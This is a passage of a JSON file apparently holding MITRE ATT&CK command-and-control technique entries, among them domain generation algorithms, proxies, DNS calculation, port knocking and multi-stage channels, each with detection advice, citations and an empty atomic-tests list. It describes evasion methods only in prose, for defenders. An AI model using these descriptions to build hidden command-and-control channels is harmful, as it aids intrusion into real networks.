- "source_name": "Talos CCleanup 2017"
- },
- {
- "source_name": "Akamai DGA Mitigation",
- "url": "https://blogs.akamai.com/2018/01/a-death-match-of-domain-generation-algorithms.html",
- "description": "Liu, H. and Yuzifovich, Y. (2018, January 9). A Death Match of Domain Generation Algorithms. Retrieved February 18, 2019."
- },
- {
- "url": "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html",
- "description": "Dunwoody, M.. (2017, April 3). Dissecting One of APT29\u2019s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.",
- "source_name": "FireEye POSHSPY April 2017"
- },
- {
- "source_name": "ESET Sednit 2017 Activity",
- "url": "https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/",
- "description": "ESET. (2017, December 21). Sednit update: How Fancy Bear Spent the Year. Retrieved February 18, 2019."
- },
- {
- "source_name": "Data Driven Security DGA",
- "url": "https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/",
- "description": "Jacobs, J. (2014, October 2). Building a DGA Classifier: Part 2, Feature Engineering. Retrieved February 18, 2019."
- },
- {
- "source_name": "Pace University Detecting DGA May 2017",
- "url": "http://csis.pace.edu/~ctappert/srd2017/2017PDF/d4.pdf",
- "description": "Chen, L., Wang, T.. (2017, May 5). Detecting Algorithmically Generated Domains Using Data Visualization and N-Grams Methods . Retrieved April 26, 2019."
- },
- {
- "source_name": "Elastic Predicting DGA",
- "url": "https://arxiv.org/pdf/1611.00791.pdf",
- "description": "Ahuja, A., Anderson, H., Grant, D., Woodbridge, J.. (2016, November 2). Predicting Domain Generation Algorithms with Long Short-Term Memory Networks. Retrieved April 26, 2019."
- }
- ],
- "modified": "2020-11-10T18:28:56.957Z",
- "name": "Domain Generation Algorithms",
- "description": "Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019)\n\nDGAs can take the form of apparently random or \u201cgibberish\u201d strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Talos CCleanup 2017)(Citation: Akamai DGA Mitigation)\n\nAdversaries may use DGAs for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "command-and-control"
- }
- ],
- "x_mitre_detection": "Detecting dynamically generated domains can be challenging due to the number of different DGA algorithms, constantly evolving malware families, and the increasing complexity of the algorithms. There is a myriad of approaches for detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more.(Citation: Data Driven Security DGA) CDN domains may trigger these detections due to the format of their domain names. In addition to detecting a DGA domain based on the name, another more general approach for detecting a suspicious domain is to check for recently registered names or for rarely visited domains.\n\nMachine learning approaches to detecting DGA domains have been developed and have seen success in applications. One approach is to use N-Gram methods to determine a randomness score for strings used in the domain name. If the randomness score is high, and the domains are not whitelisted (CDN, etc), then it may be determined if a domain or related to a legitimate host or DGA.(Citation: Pace University Detecting DGA May 2017) Another approach is to use deep learning to classify domains as DGA-generated.(Citation: Elastic Predicting DGA)",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1071.003": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b",
- "type": "attack-pattern",
- "created": "2020-03-15T16:21:45.131Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1071.003",
- "url": "https://attack.mitre.org/techniques/T1071/003"
- },
- {
- "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
- "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
- "source_name": "University of Birmingham C2"
- }
- ],
- "modified": "2020-10-21T16:35:45.633Z",
- "name": "Mail Protocols",
- "description": "Adversaries may communicate using application layer protocols associated with electronic mail delivery to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nProtocols such as SMTP/S, POP3/S, and IMAP that carry electronic mail may be very common in environments. Packets produced from these protocols may have many fields and headers in which data can be concealed. Data could also be concealed within the email messages themselves. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic. ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "command-and-control"
- }
- ],
- "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Network Traffic: Network Traffic Flow",
- "Network Traffic: Network Traffic Content"
- ]
- },
- "atomic_tests": []
- },
- "T1092": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--64196062-5210-42c3-9a02-563a0d1797ef",
- "type": "attack-pattern",
- "created": "2017-05-31T21:31:09.379Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "url": "https://attack.mitre.org/techniques/T1092",
- "external_id": "T1092"
- }
- ],
- "modified": "2020-07-14T19:44:50.871Z",
- "name": "Communication Through Removable Media",
- "description": "Adversaries can perform command and control between compromised hosts on potentially disconnected networks using removable media to transfer commands from system to system. Both systems would need to be compromised, with the likelihood that an Internet-connected system was compromised first and the second through lateral movement by [Replication Through Removable Media](https://attack.mitre.org/techniques/T1091). Commands and files would be relayed from the disconnected system to the Internet-connected system to which the adversary has direct access.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "command-and-control"
- }
- ],
- "x_mitre_detection": "Monitor file access on removable media. Detect processes that execute when removable media is mounted.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Drive: Drive Access",
- "Drive: Drive Creation"
- ]
- },
- "atomic_tests": []
- },
- "T1090.002": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--69b8fd78-40e8-4600-ae4d-662c9d7afdb3",
- "type": "attack-pattern",
- "created": "2020-03-14T23:12:18.466Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1090.002",
- "url": "https://attack.mitre.org/techniques/T1090/002"
- },
- {
- "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/",
- "description": "Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015.",
- "source_name": "Trend Micro APT Attack Tools"
- },
- {
- "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
- "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
- "source_name": "University of Birmingham C2"
- }
- ],
- "modified": "2020-03-27T17:50:37.411Z",
- "name": "External Proxy",
- "description": "Adversaries may use an external proxy to act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths to avoid suspicion.\n\nExternal connection proxies are used to mask the destination of C2 traffic and are typically implemented with port redirectors. Compromised systems outside of the victim environment may be used for these purposes, as well as purchased infrastructure such as cloud-based resources or virtual private servers. Proxies may be chosen based on the low likelihood that a connection to them from a compromised system would be investigated. Victim systems would communicate directly with the external proxy on the Internet and then the proxy would forward communications to the C2 server.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "command-and-control"
- }
- ],
- "x_mitre_detection": "Analyze network data for uncommon data flows, such as a client sending significantly more data than it receives from an external server. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Network Traffic: Network Traffic Content",
- "Network Traffic: Network Connection Creation",
- "Network Traffic: Network Traffic Flow"
- ]
- },
- "atomic_tests": []
- },
- "T1090": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows",
- "Network"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Jon Sheedy",
- "Heather Linn",
- "Walker Johnson"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea",
- "type": "attack-pattern",
- "created": "2017-05-31T21:31:08.479Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1090",
- "url": "https://attack.mitre.org/techniques/T1090"
- },
- {
- "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/",
- "description": "Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015.",
- "source_name": "Trend Micro APT Attack Tools"
- },
- {
- "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
- "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
- "source_name": "University of Birmingham C2"
- }
- ],
- "modified": "2021-08-30T19:16:11.648Z",
- "name": "Proxy",
- "description": "Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic.\n\nAdversaries can also take advantage of routing schemes in Content Delivery Networks (CDNs) to proxy command and control traffic.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "command-and-control"
- }
- ],
- "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server or between clients that should not or often do not communicate with one another). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nConsider monitoring for traffic to known anonymity networks (such as [Tor](https://attack.mitre.org/software/S0183)).",
- "x_mitre_version": "3.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Network Traffic: Network Connection Creation",
- "Network Traffic: Network Traffic Flow",
- "Network Traffic: Network Traffic Content"
- ]
- },
- "atomic_tests": []
- },
- "T1568": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Chris Roffe"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--7bd9c723-2f78-4309-82c5-47cad406572b",
- "type": "attack-pattern",
- "created": "2020-03-10T17:28:11.747Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1568",
- "url": "https://attack.mitre.org/techniques/T1568"
- },
- {
- "url": "http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html",
- "description": "Brumaghin, E. et al. (2017, September 18). CCleanup: A Vast Number of Machines at Risk. Retrieved March 9, 2018.",
- "source_name": "Talos CCleanup 2017"
- },
- {
- "url": "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html",
- "description": "Dunwoody, M.. (2017, April 3). Dissecting One of APT29\u2019s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.",
- "source_name": "FireEye POSHSPY April 2017"
- },
- {
- "source_name": "ESET Sednit 2017 Activity",
- "url": "https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/",
- "description": "ESET. (2017, December 21). Sednit update: How Fancy Bear Spent the Year. Retrieved February 18, 2019."
- },
- {
- "source_name": "Data Driven Security DGA",
- "url": "https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/",
- "description": "Jacobs, J. (2014, October 2). Building a DGA Classifier: Part 2, Feature Engineering. Retrieved February 18, 2019."
- }
- ],
- "modified": "2022-03-11T18:26:23.782Z",
- "name": "Dynamic Resolution",
- "description": "Adversaries may dynamically establish connections to command and control infrastructure to evade common detections and remediations. This may be achieved by using malware that shares a common algorithm with the infrastructure the adversary uses to receive the malware's communications. These calculations can be used to dynamically adjust parameters such as the domain name, IP address, or port number the malware uses for command and control.\n\nAdversaries may use dynamic resolution for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ dynamic resolution as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "command-and-control"
- }
- ],
- "x_mitre_detection": "Detecting dynamically generated C2 can be challenging due to the number of different algorithms, constantly evolving malware families, and the increasing complexity of the algorithms. There are multiple approaches to detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more (Citation: Data Driven Security DGA). CDN domains may trigger these detections due to the format of their domain names. In addition to detecting algorithm generated domains based on the name, another more general approach for detecting a suspicious domain is to check for recently registered names or for rarely visited domains.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Network Traffic: Network Connection Creation",
- "Network Traffic: Network Traffic Flow",
- "Network Traffic: Network Traffic Content"
- ],
- "x_mitre_permissions_required": [
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1188": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--7d751199-05fa-4a72-920f-85df4506c76c",
- "type": "attack-pattern",
- "created": "2018-01-16T16:13:52.465Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "url": "https://attack.mitre.org/techniques/T1188",
- "external_id": "T1188"
- }
- ],
- "modified": "2020-03-14T23:25:20.928Z",
- "name": "Multi-hop Proxy",
- "description": "To disguise the source of malicious traffic, adversaries may chain together multiple proxies. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "command-and-control"
- }
- ],
- "x_mitre_detection": "When observing use of Multi-hop proxies, network data from the actual command and control servers could allow correlating incoming and outgoing flows to trace malicious traffic back to its source. Multi-hop proxies can also be detected by alerting on traffic to known anonymity networks (such as [Tor](https://attack.mitre.org/software/S0183)) or known adversary infrastructure that uses this technique.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1102": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Anastasios Pingios"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665",
- "type": "attack-pattern",
- "created": "2017-05-31T21:31:13.915Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1102",
- "url": "https://attack.mitre.org/techniques/T1102"
- },
- {
- "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
- "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
- "source_name": "University of Birmingham C2"
- }
- ],
- "modified": "2020-03-26T23:26:10.297Z",
- "name": "Web Service",
- "description": "Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.\n\nUse of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "command-and-control"
- }
- ],
- "x_mitre_detection": "Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). User behavior monitoring may help to detect abnormal patterns of activity.(Citation: University of Birmingham C2)",
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Network Traffic: Network Traffic Flow",
- "Network Traffic: Network Traffic Content",
- "Network Traffic: Network Connection Creation"
- ],
- "x_mitre_permissions_required": [
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1568.003": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--83a766f8-1501-4b3a-a2de-2e2849e8dfc1",
- "type": "attack-pattern",
- "created": "2020-03-11T14:56:34.154Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1568.003",
- "url": "https://attack.mitre.org/techniques/T1568/003"
- },
- {
- "url": "http://www.crowdstrike.com/blog/whois-numbered-panda/",
- "description": "Meyers, A. (2013, March 29). Whois Numbered Panda. Retrieved January 14, 2016.",
- "source_name": "Meyers Numbered Panda"
- },
- {
- "url": "https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html",
- "description": "Moran, N., Oppenheim, M., Engle, S., & Wartell, R.. (2014, September 3). Darwin\u2019s Favorite APT Group [Blog]. Retrieved November 12, 2014.",
- "source_name": "Moran 2014"
- },
- {
- "source_name": "Rapid7G20Espionage",
- "description": "Rapid7. (2013, August 26). Upcoming G20 Summit Fuels Espionage Operations. Retrieved March 6, 2017.",
- "url": "https://blog.rapid7.com/2013/08/26/upcoming-g20-summit-fuels-espionage-operations/"
- }
- ],
- "modified": "2020-03-27T20:54:28.287Z",
- "name": "DNS Calculation",
- "description": "Adversaries may perform calculations on addresses returned in DNS results to determine which port and IP address to use for command and control, rather than relying on a predetermined port number or the actual returned IP address. A IP and/or port number calculation can be used to bypass egress filtering on a C2 channel.(Citation: Meyers Numbered Panda)\n\nOne implementation of [DNS Calculation](https://attack.mitre.org/techniques/T1568/003) is to take the first three octets of an IP address in a DNS response and use those values to calculate the port for command and control traffic.(Citation: Meyers Numbered Panda)(Citation: Moran 2014)(Citation: Rapid7G20Espionage)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "command-and-control"
- }
- ],
- "x_mitre_detection": "Detection for this technique is difficult because it would require knowledge of the specific implementation of the port calculation algorithm. Detection may be possible by analyzing DNS records if the algorithm is known.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Network Traffic: Network Traffic Content"
- ]
- },
- "atomic_tests": []
- },
- "T1104": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--84e02621-8fdf-470f-bd58-993bb6a89d91",
- "type": "attack-pattern",
- "created": "2017-05-31T21:31:15.935Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "url": "https://attack.mitre.org/techniques/T1104",
- "external_id": "T1104"
- }
- ],
- "modified": "2020-07-14T19:43:38.181Z",
- "name": "Multi-Stage Channels",
- "description": "Adversaries may create multiple stages for command and control that are employed under different conditions or for certain functions. Use of multiple stages may obfuscate the command and control channel to make detection more difficult.\n\nRemote access tools will call back to the first-stage command and control server for instructions. The first stage may have automated capabilities to collect basic host information, update tools, and upload additional files. A second remote access tool (RAT) could be uploaded at that point to redirect the host to the second-stage command and control server. The second stage will likely be more fully featured and allow the adversary to interact with the system through a reverse shell and additional RAT features.\n\nThe different stages will likely be hosted separately with no overlapping infrastructure. The loader may also have backup first-stage callbacks or [Fallback Channels](https://attack.mitre.org/techniques/T1008) in case the original first-stage communication path is discovered and blocked.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "command-and-control"
- }
- ],
- "x_mitre_detection": "Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure. Relating subsequent actions that may result from Discovery of the system and network information or Lateral Movement to the originating process may also yield useful data.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Network Traffic: Network Connection Creation",
- "Network Traffic: Network Traffic Flow"
- ]
- },
- "atomic_tests": []
- },
- "T1205.001": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows",
- "Network"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--8868cb5b-d575-4a60-acb2-07d37389a2fd",
- "type": "attack-pattern",
- "created": "2020-07-01T18:23:25.002Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1205.001",
- "url": "https://attack.mitre.org/techniques/T1205/001"
- },
- {
- "url": "https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631",
- "description": "Hartrell, Greg. (2002, August). Get a handle on cd00r: The invisible backdoor. Retrieved October 13, 2018.",
- "source_name": "Hartrell cd00r 2002"
- }
- ],
- "modified": "2022-03-11T18:31:23.996Z",
- "name": "Port Knocking",
- "description": "Adversaries may use port knocking to hide open ports used for persistence or command and control. To enable a port, an adversary sends a series of attempted connections to a predefined sequence of closed ports. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software.\n\nThis technique has been observed both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.\n\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "command-and-control"
- }
- ],
- "x_mitre_detection": "Record network packets sent to and from the system, looking for extraneous packets that do not belong to established flows.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Network Traffic: Network Traffic Flow",
- "Network Traffic: Network Connection Creation"
- ],
- "x_mitre_permissions_required": [
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1026": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--99709758-2b96-48f2-a68a-ad7fbd828091",
- "type": "attack-pattern",
- "created": "2017-05-31T21:30:32.259Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1026",
- "url": "https://attack.mitre.org/techniques/T1026"
- },
- {
- "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
- "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
- "source_name": "University of Birmingham C2"
- }
- ],
- "modified": "2020-03-30T13:59:11.272Z",
- "name": "Multiband Communication",
- "description": "**This technique has been deprecated and should no longer be used.**\n\nSome adversaries may split communications between different protocols. There could be one protocol for inbound command and control and another for outbound data, allowing it to bypass certain firewall restrictions. The split could also be random to simply avoid data threshold alerts on any one communication.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "command-and-control"
- }
- ],
- "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) Correlating alerts between multiple communication channels can further help identify command-and-control behavior.",
- "x_mitre_deprecated": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1071.002": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--9a60a291-8960-4387-8a4a-2ab5c18bb50b",
- "type": "attack-pattern",
- "created": "2020-03-15T16:16:25.763Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1071.002",
- "url": "https://attack.mitre.org/techniques/T1071/002"
- },
- {
- "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
